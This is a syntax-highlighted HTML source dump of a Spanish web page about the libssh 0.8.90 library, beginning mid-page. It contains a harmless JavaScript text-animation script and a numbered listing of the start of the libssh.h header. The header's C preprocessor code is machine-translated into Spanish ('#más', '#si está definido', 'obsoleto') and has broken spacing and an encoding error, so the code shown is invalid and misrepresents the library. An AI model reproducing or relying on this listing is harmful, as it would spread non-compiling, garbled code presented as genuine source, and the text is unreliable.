style='color:#00c4c4; '>fly</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span>innerHTML<span style='color:#b060b0; '>;</span> distance <span style='color:#d2cd86; '>=</span> <span style='color:#008c00; '>50</span><span style='color:#b060b0; '>;</span> speed <span style='color:#d2cd86; '>=</span> <span style='color:#008c00; '>200</span><span style='color:#b060b0; '>;</span> <span style='color:#e66170; font-weight:bold; '>var</span> txt<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> num<span style='color:#d2cd86; '>=</span><span style='color:#008c00; '>0</span><span style='color:#d2cd86; '>,</span> num4<span style='color:#d2cd86; '>=</span><span style='color:#008c00; '>0</span><span style='color:#d2cd86; '>,</span> flyofle<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> flyofwi<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> flyofto<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> fly<span style='color:#d2cd86; '>=</span>document<span style='color:#d2cd86; '>.</span>getElementById<span style='color:#d2cd86; '>(</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>fly</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span><span style='color:#b060b0; '>;</span> <span style='color:#e66170; font-weight:bold; '>function</span> stfly<span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>for</span><span style='color:#d2cd86; '>(</span>i<span style='color:#d2cd86; '>=</span><span style='color:#008c00; '>0</span><span style='color:#b060b0; '>;</span>i <span style='color:#d2cd86; '>!=</span> message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>length</span><span style='color:#b060b0; '>;</span>i<span style='color:#d2cd86; '>++</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>if</span><span style='color:#d2cd86; '>(</span>message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>charAt</span><span style='color:#d2cd86; '>(</span>i<span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>!=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>$</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span> txt <span style='color:#d2cd86; '>+=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '><span style='position:relative;visibility:hidden;' id='n</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>+</span>i<span style='color:#d2cd86; '>+</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>'></span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>+</span>message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>charAt</span><span style='color:#d2cd86; '>(</span>i<span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>+</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '><\/span></span><span style='color:#02d045; '>"</span><span style='color:#b060b0; '>;</span> <span style='color:#e66170; font-weight:bold; '>else</span> txt <span style='color:#d2cd86; '>+=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '><br></span><span style='color:#02d045; '>"</span><span style='color:#b060b0; '>;</span> <span style='color:#b060b0; '>}</span> fly<span style='color:#d2cd86; '>.</span>innerHTML <span style='color:#d2cd86; '>=</span> txt<span style='color:#b060b0; '>;</span> txt <span style='color:#d2cd86; '>=</span> <span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#b060b0; '>;</span> flyofle <span style='color:#d2cd86; '>=</span> fly<span style='color:#d2cd86; '>.</span>offsetLeft<span style='color:#b060b0; '>;</span> flyofwi <span style='color:#d2cd86; '>=</span> fly<span style='color:#d2cd86; '>.</span>offsetWidth<span style='color:#b060b0; '>;</span> flyofto <span style='color:#d2cd86; '>=</span> fly<span style='color:#d2cd86; '>.</span>offsetTop<span style='color:#b060b0; '>;</span> fly2b<span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span><span style='color:#b060b0; '>;</span> <span style='color:#b060b0; '>}</span> <span style='color:#e66170; font-weight:bold; '>function</span> fly2b<span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>if</span><span style='color:#d2cd86; '>(</span>num4 <span style='color:#d2cd86; '>!=</span> message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>length</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>if</span><span style='color:#d2cd86; '>(</span>message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>charAt</span><span style='color:#d2cd86; '>(</span>num4<span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>!=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>$</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>var</span> then <span style='color:#d2cd86; '>=</span> document<span style='color:#d2cd86; '>.</span>getElementById<span style='color:#d2cd86; '>(</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>n</span><span style='color:#02d045; '>"</span> <span style='color:#d2cd86; '>+</span> num4<span style='color:#d2cd86; '>)</span><span style='color:#b060b0; '>;</span> then<span style='color:#d2cd86; '>.</span>style<span style='color:#d2cd86; '>.</span>left <span style='color:#d2cd86; '>=</span> flyofle <span style='color:#d2cd86; '>-</span> then<span style='color:#d2cd86; '>.</span>offsetLeft <span style='color:#d2cd86; '>+</span> flyofwi <span style='color:#02d045; '>/</span><span style='color:#00c4c4; '> 2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top = flyofto - then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>offsetTop </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> distance </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>fly3</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>id, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> / 5, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> / 5</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>;</span> <span style='color:#00c4c4; '>        }</span> <span style='color:#00c4c4; '>        num4</span><span style='color:#d2cd86; '>+</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>;</span> <span style='color:#00c4c4; '>        setTimeout</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>"fly2b</span><span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>", speed</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>;</span> <span style='color:#00c4c4; '>    }</span> <span style='color:#00c4c4; '>}</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>function fly3</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target,lef2,num2,top2,num3</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '>    if</span><span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != 0 && Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#b060b0; '>|</span><span style='color:#b060b0; '>|</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != 0 && Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '>        if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2 >= 0</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>            lef2 -= num2;</span> <span style='color:#00c4c4; '>        else</span> <span style='color:#00c4c4; '>            lef2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>= num2 </span><span style='color:#d2cd86; '>*</span><span style='color:#00c4c4; '> -1;</span> <span style='color:#00c4c4; '>        if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '>document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>visibility = "visible";</span> <span style='color:#00c4c4; '>document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>        } else {</span> <span style='color:#00c4c4; '>            document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>visibility = "visible";</span> <span style='color:#00c4c4; '>            document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>        }</span> <span style='color:#00c4c4; '>        if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2 >= 0</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>            top2 -= num3</span> <span style='color:#00c4c4; '>        else</span> <span style='color:#00c4c4; '>            top2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>= num3 </span><span style='color:#d2cd86; '>*</span><span style='color:#00c4c4; '> -1;</span> <span style='color:#00c4c4; '>        if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>            document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>        else</span> <span style='color:#00c4c4; '>            document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>        setTimeout</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>"fly3</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>'"</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>"',"</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>","</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>num2</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>","</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>","</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>num3</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>"</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>",50</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>    }</span> <span style='color:#00c4c4; '>}</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>stfly</span><span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '><</span><span style='color:#02d045; '>/</span>script<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>h2<span style='color:#d2cd86; '>></span>LIBRARY SSH<span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>h2<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>strong<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>h1<span style='color:#d2cd86; '>></span>libssh <span style='color:#009f00; '>0.8</span><span style='color:#d2cd86; '>.</span><span style='color:#008c00; '>90</span><span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>h1<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>strong<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>br <span style='color:#d2cd86; '>/</span><span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>p<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>li<span style='color:#d2cd86; '>></span>La biblioteca SSH<span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>li<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>button<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>i<span style='color:#d2cd86; '>></span>PAGINA PRINCIPAL<span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>li<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>button<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>li<span style='color:#d2cd86; '>></span>PÁGINAS RELACIONADAS<span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>li<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span><span style='color:#d2cd86; '>/</span>button<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '><</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '><</span>li<span style='color:#d2cd86; '>></span>M�<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>DULOS</li></button></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>   <button><li>ESTRUCTURAS DE DATOS</li></button></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>      <button><li>ARCHIVOS</li></button></span> <span style='color:#00c4c4; '>          </span> <span style='color:#00c4c4; '>          </p></span> <span style='color:#00c4c4; '>          </span> <span style='color:#00c4c4; '>          <ul></span> <span style='color:#00c4c4; '>             </span> <span style='color:#00c4c4; '>      <button><h3> incluir </h3></button></span> <span style='color:#00c4c4; '>      <button><h3> libssh </h3></button></span> <span style='color:#00c4c4; '>      <button><h3> libssh.h </h3></button></span> <span style='color:#00c4c4; '>                 </span> <span style='color:#00c4c4; '>             <br /></span> <span style='color:#00c4c4; '>             </span> <span style='color:#00c4c4; '>          </ul> </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>   <small>Esta biblioteca es software gratuito; </span> <span style='color:#00c4c4; '>puedes redistribuirlo y / o</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>7 * modificarlo según los términos del GNU Lesser General Public</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>8 * Licencia publicada por la Free Software Foundation; ya sea</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>9 * versión 2.1 de la Licencia, o (a su elección) </span> <span style='color:#00c4c4; '>cualquier versión posterior.</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>10 *</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>11 * Esta biblioteca se distribuye con la esperanza de que sea útil,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>12 * pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de</span> <span style='color:#00c4c4; '> </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>21 #ifndef _LIBSSH_H</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>22 #define _LIBSSH_H</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>23 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>24 #si está definido _WIN32 || definido __CYGWIN__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>25 #ifdef LIBSSH_STATIC</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>26 #define LIBSSH_API</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>27 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>28 #ifdef LIBSSH_EXPORTS</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>29 #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>30 #define LIBSSH_API __attribute __ ((dllexport))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>31 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>32 #define LIBSSH_API __declspec (dllexport)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>33 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>34 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>35 #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>36 #define LIBSSH_API __attribute __ ((dllimport))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>37 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>38 #define LIBSSH_API __declspec (dllimport)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>39 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>40 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>41 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>42 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>43 #if __GNUC__> = 4 &&! Definido (__ OS2__)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>44 #define LIBSSH_API __attribute __ </span> <span style='color:#00c4c4; '>((visibilidad (</span><span style='color:#02d045; '>"</span>predeterminado<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>)))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>45 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>46 #define LIBSSH_API</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>47 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>48 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>49 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>50 #ifdef _MSC_VER</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>51 / * Visual Studio no tiene inttypes.h </span> <span style='color:#00c4c4; '>así que no conoce uint32_t * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>52 typedef int int32_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>53 typedef unsigned int uint32_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>54 typedef unsigned short uint16_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>55 typedef unsigned char uint8_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>56 typedef unsigned long long uint64_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>57 typedef int mode_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>58 #else / * _MSC_VER * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>59 #include <unistd.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>60 #include <inttypes.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>61 #include <sys / types.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>62 #endif / * _MSC_VER * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>63 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>64 #ifdef _WIN32</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>65 #include <winsock2.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>66 #else / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>67 #include <sys / select.h> / * para fd_set * * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>68 #include <netdb.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>69 #endif / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>70 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>71 #define SSH_STRINGIFY (s) SSH_TOSTRING (s)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>72 #define SSH_TOSTRING (s) #s</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>73 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>74 / * macros de versión libssh * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>75 #define SSH_VERSION_INT (a, b, c) ((a) << 16 | (b) << 8 | (c))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>76 #define SSH_VERSION_DOT (a, b, c) a ##. ## b ##. ## c</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>77 #define SSH_VERSION (a, b, c) SSH_VERSION_DOT (a, b, c)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>78 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>79 / * versión libssh * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>80 #define LIBSSH_VERSION_MAJOR 0</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>81 #define LIBSSH_VERSION_MINOR 8</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>82 #define LIBSSH_VERSION_MICRO 90</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>83 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>84 #define LIBSSH_VERSION_INT SSH_VERSION_INT </span> <span style='color:#00c4c4; '>(LIBSSH_VERSION_MAJOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>85 LIBSSH_VERSION_MINOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>86 LIBSSH_VERSION_MICRO)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>87 #define LIBSSH_VERSION SSH_VERSION (LIBSSH_VERSION_MAJOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>88 LIBSSH_VERSION_MINOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>89 LIBSSH_VERSION_MICRO)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>90 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>91 / * GCC tiene verificación de atributo de </span> <span style='color:#00c4c4; '>tipo printf. * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>92 #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>93 #define PRINTF_ATTRIBUTE (a, b) __attribute__ </span> <span style='color:#00c4c4; '>((__format__ (__printf__, a, b)))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>94 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>95 #define PRINTF_ATTRIBUTE (a, b)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>96 #endif / * __GNUC__ * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>97 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>98 #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>99 #define SSH_DEPRECATED __attribute__ ((obsoleto))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>100 #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>101 #define SSH_DEPRECATED</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>102 #endif</span> <span style='color:#00c4c4; '></span> <span 